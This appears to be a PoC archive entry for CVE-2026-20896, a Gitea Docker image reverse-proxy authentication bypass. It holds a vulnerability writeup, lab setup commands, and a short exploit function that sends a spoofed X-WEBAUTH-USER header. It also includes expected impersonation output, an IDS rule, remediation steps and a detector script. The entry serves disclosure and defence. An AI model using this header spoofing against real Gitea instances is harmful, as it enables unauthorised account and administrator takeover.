PoC Archive PoC Archive
Critical CVE-2026-20896 (GHSA-f75j-4cw6-rmx4) patched

Gitea Docker Image Reverse-Proxy Authentication Bypass — "One Header, Any User" (CVE-2026-20896)

by rz1027 (reporter, credited in Gitea's advisory; PoC repo author) · 2026-07-11

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-20896 (GHSA-f75j-4cw6-rmx4)
Category
web
Affected product
Gitea — official Docker images (gitea/gitea), both root and rootless variants
Affected versions
Docker images up to and including 1.26.2. Binary/self-built installs that follow app.example.ini are **not** affected — this is a Docker-packaging defect, not a code-level bug in Gitea itself.
Disclosed
2026-07-11
Patch status
patched

Metadata

FieldValue
Date Added2026-07-11
Last Updated2026-07-11
Author / Researcherrz1027 (reporter, credited in Gitea’s advisory; PoC repo author)
CVE / AdvisoryCVE-2026-20896 (GHSA-f75j-4cw6-rmx4)
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS 3.1, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized (public PoC + detector script, actively exploited in the wild per Sysdig)
Tagsgitea, docker, authentication-bypass, reverse-proxy, header-spoofing, unauthenticated, remote, cwe-290, actively-exploited
RelatedOther Gitea/Gogs auth-related entries in this archive: 2026-07-05_cve-2026-27771-gitea-registry-auth-bypass, 2026-07-05_cve-2026-28699-gitea-oauth2-scope-bypass — different bugs, same product family

Affected Target

FieldValue
Software / SystemGitea — official Docker images (gitea/gitea), both root and rootless variants
Versions AffectedDocker images up to and including 1.26.2. Binary/self-built installs that follow app.example.ini are not affected — this is a Docker-packaging defect, not a code-level bug in Gitea itself.
Language / PlatformGo (Gitea), Docker container config
Authentication RequiredNo — the entire bug is that no authentication is required despite reverse-proxy auth being “enabled”
Network Access RequiredYes — direct network reachability to the Gitea container’s HTTP port

Summary

Gitea supports reverse-proxy authentication: put it behind a proxy that sets an X-WEBAUTH-USER header, and Gitea trusts that header for the username, gated by REVERSE_PROXY_TRUSTED_PROXIES — an IP allowlist meant to ensure only the actual proxy can set that header. The documented-safe default (app.example.ini) is 127.0.0.0/8,::1/128 (loopback only). The official Docker image, however, hard-codes REVERSE_PROXY_TRUSTED_PROXIES = * in its packaged app.ini template (docker/root/etc/templates/app.ini:55, and the rootless equivalent) — a wildcard that trusts every source IP. Any operator who enables reverse-proxy login on the stock Docker image, without realizing the packaged default differs from the documented one, exposes an unauthenticated impersonation bypass: any client that can reach the container directly can send X-WEBAUTH-USER: <username> and be logged into that account, no password or token required. With auto-registration also enabled, an attacker can create and log into brand-new admin-named accounts on the spot. Reported to Gitea 2026-05-26, CVE published 2026-07-03, fixed in 1.26.3/1.26.4. Sysdig reported active in-the-wild probing/exploitation starting within about two weeks of disclosure.


Vulnerability Details

Root Cause

The vulnerability is a packaging/configuration defect, not a code bug — tracked as CWE-290 (Authentication Bypass by Spoofing) / CWE-1188 (Insecure Default Initialization of Resource). Gitea’s reverse-proxy-auth feature is designed so that a client-supplied X-WEBAUTH-USER header is only honored when the request’s source IP falls within REVERSE_PROXY_TRUSTED_PROXIES. The official Docker image’s bundled app.ini template sets this allowlist to *, which matches any IP and therefore defeats the entire access-control check. Once ENABLE_REVERSE_PROXY_AUTHENTICATION=true is set (a normal, documented SSO configuration step), the header-trust gate that should have restricted identity injection to the proxy alone is a no-op — because the packaged default silently diverges from the documented-safe default (127.0.0.0/8,::1/128) that binary/self-built installs use.

Attack Vector

  1. Identify a Gitea instance running the official Docker image with reverse-proxy authentication enabled and directly reachable (not exclusively behind the intended authenticating proxy — e.g., misconfigured network exposure, missing firewall rules, or a proxy that doesn’t strip client-supplied headers).
  2. Send any HTTP request to the instance with X-WEBAUTH-USER: <target-username> set.
  3. Gitea’s web session layer accepts the header at face value (the trusted-proxies check passes because it’s *) and logs the request in as that user — no password, no session cookie, no token.
  4. If reverse-proxy auto-registration is also enabled, a header naming a non-existent username causes Gitea to create that account on the spot and log the attacker in as it — including admin-sounding usernames if the attacker can guess or brute-force one that doesn’t collide with an existing account.

The bypass affects the web session interface only; Gitea’s token API at /api/v1/... ignores the X-WEBAUTH-USER header and is not affected by this specific bug.

Impact

Full unauthenticated account impersonation, up to and including administrator takeover — an attacker who knows or guesses an admin username (admin, gitea_admin, etc.) gains full administrative control of the Gitea instance: source code access across all repos, CI/CD (Actions) configuration, webhook/integration secrets, and the ability to push malicious commits or backdoor pipelines. With auto-registration enabled, the impact extends to on-demand creation of arbitrary accounts. Sysdig’s telemetry shows real-world reconnaissance/exploitation attempts against exposed instances beginning within roughly two weeks of the CVE’s publication.


Environment / Lab Setup

Target:      gitea/gitea:1.26.2 (official Docker image, vulnerable)
Attacker:    Any host with Python 3 (standard library only — no dependencies)
Tools:       Docker + docker compose, python3

Setup Steps

1
2
3
4
docker compose up -d          # boots vulnerable gitea/gitea:1.26.2 with reverse-proxy auth enabled
python3 poc.py                # random new victim, shows auto-registration
python3 poc.py http://localhost:3000 admin   # impersonate a chosen username
docker compose down -v        # clean up

Proof of Concept

See poc.py, detect.py, and docker-compose.yml in this folder — mirrored verbatim from rz1027/CVE-2026-20896 (MIT licensed), the researcher’s own PoC repository. Verified before ingestion: all files referenced in the upstream README actually exist, poc.py/detect.py use only the Python standard library with no obfuscation or suspicious network calls, and docker-compose.yml stands up the unmodified official gitea/gitea:1.26.2 image — no scam, dropper, or phantom-exploit indicators found.

Step-by-Step Reproduction

  1. Stand up the vulnerable targetdocker-compose.yml in this folder boots gitea/gitea:1.26.2 with ENABLE_REVERSE_PROXY_AUTHENTICATION=true and ENABLE_REVERSE_PROXY_AUTO_REGISTRATION=true, deliberately leaving REVERSE_PROXY_TRUSTED_PROXIES unset so it inherits the image’s vulnerable * default.
  2. Confirm unauthenticated baseline — request /user/settings with no header; expect an HTTP 303 redirect to login (not authenticated).
  3. Send the spoofed header — request /user/settings with X-WEBAUTH-USER: <victim> set; the response is HTTP 200 and the page content shows the requester logged in as <victim>.
  4. Confirm account creation — request /<victim>’s profile page; HTTP 200 confirms the account was auto-created on the fly.

Exploit Code

1
2
3
4
5
6
7
8
9
def get(url, webauth_user=None):
    req = urllib.request.Request(url)
    if webauth_user:
        req.add_header("X-WEBAUTH-USER", webauth_user)
    try:
        r = _opener.open(req, timeout=10)
        return r.status, r.read().decode("utf-8", "ignore")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode("utf-8", "ignore")

A non-destructive detect.py is also included, for checking an instance you own/are authorized to test — it sends a single probe with an obviously-fake username (cve-2026-20896-probe) and compares the response against an unauthenticated baseline, rather than attempting real impersonation.

Expected Output

1) /user/settings with no header        -> HTTP 303   (redirect to login = not authed)
2) /user/settings with X-WEBAUTH-USER    -> HTTP 200
   logged in as 'pocadmin' - no password, no token, any source IP
3) /pocadmin profile page                -> HTTP 200   (account created on the fly)

Detection & Indicators of Compromise

GET /user/settings ... X-WEBAUTH-USER: <any> -> 200, from unexpected/direct-external IPs

SIEM / IDS Rule (example):

alert http any any -> any any (msg:"Possible CVE-2026-20896 Gitea reverse-proxy auth bypass attempt"; content:"X-WEBAUTH-USER:"; http_header; sid:9000201; rev:1;)

Remediation

ActionDetail
PatchUpgrade to Gitea 1.26.3 / 1.26.4 or later — reverse-proxy auth is opt-in with a safe default in the fixed images, and the wildcard is no longer shipped.
Workaround (if patching isn’t immediate)Explicitly set REVERSE_PROXY_TRUSTED_PROXIES to your actual reverse proxy’s IP/CIDR (never *), or disable ENABLE_REVERSE_PROXY_AUTHENTICATION entirely if you don’t use SSO via reverse proxy.
Config HardeningEnsure the Gitea container’s HTTP port is never directly reachable from outside the trusted proxy’s network path; audit any exposed Gitea Docker deployment’s app.ini for the packaged default rather than assuming documentation matches shipped config.

References


Notes

Surfaced via a daily all-platforms CVE discovery pass (WebSearch/news sweep) on 2026-07-11, then verified before ingestion per this archive’s standing rule: the PoC repository’s actual file contents were fetched and read (not just the README description), confirming poc.py/detect.py/docker-compose.yml all genuinely exist, contain clean stdlib-only Python with no obfuscation or suspicious behavior, and match the described exploit exactly. The repo author (rz1027) is the credited reporter in Gitea’s own advisory and explicitly disputes a different repo (“Exploitarium”) having been wrongly credited for this finding in some press coverage — noted here for attribution accuracy, not verified independently beyond what the advisory itself confirms (reporter credit in GHSA-f75j-4cw6-rmx4 matches).

detect.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/env python3
"""
CVE-2026-20896 checker. Tells you if a Gitea instance you own trusts a spoofed
X-WEBAUTH-USER header from an untrusted source.

It sends one harmless probe to a login page and compares it to a plain request.
It does not read, change, or escalate anything.

Run:
    python3 detect.py https://gitea.example.com
"""
import sys
import urllib.error
import urllib.request


class _NoRedirect(urllib.request.HTTPRedirectHandler):
    def redirect_request(self, *args, **kwargs):
        return None


_opener = urllib.request.build_opener(_NoRedirect)


def status(url, webauth_user=None):
    req = urllib.request.Request(url)
    if webauth_user:
        req.add_header("X-WEBAUTH-USER", webauth_user)
    try:
        return _opener.open(req, timeout=10).status
    except urllib.error.HTTPError as e:
        return e.code
    except Exception:
        return None


def main():
    if len(sys.argv) < 2:
        print("usage: python3 detect.py <gitea_base_url>")
        sys.exit(1)
    base = sys.argv[1].rstrip("/")
    page = "/user/settings"
    probe = "cve-2026-20896-probe"  # obviously fake, easy to spot and delete

    baseline = status(base + page)
    spoofed = status(base + page, probe)

    print("target:", base)
    print("  %s  no header            -> HTTP %s" % (page, baseline))
    print("  %s  X-WEBAUTH-USER probe -> HTTP %s" % (page, spoofed))
    print()

    if baseline is None:
        print("unreachable - could not get an HTTP response. check the url/port/tls.")
        sys.exit(1)

    if baseline != 200 and spoofed == 200:
        print("VULNERABLE")
        print("  the instance logged in a spoofed header from an untrusted source, so")
        print("  anyone on the network can impersonate a user.")
        print("  a probe account '%s' may now exist - an admin can delete it." % probe)
        print("  fix: upgrade to 1.26.3/1.26.4, or set REVERSE_PROXY_TRUSTED_PROXIES to")
        print("  your proxy's real ip/cidr (never *).")
        sys.exit(2)

    if baseline == spoofed:
        print("looks safe via this probe - the header did not change anything.")
        print("  heads up: if reverse-proxy auth is on but auto-registration is off, a")
        print("  random probe name can't log in, but an existing username still could.")
        print("  if you use reverse-proxy auth, check REVERSE_PROXY_TRUSTED_PROXIES yourself.")
        sys.exit(0)

    print("inconclusive (baseline=%s probe=%s) - a proxy may be adding/stripping the" % (baseline, spoofed))
    print("header. check REVERSE_PROXY_TRUSTED_PROXIES in your config directly.")
    sys.exit(1)


if __name__ == "__main__":
    main()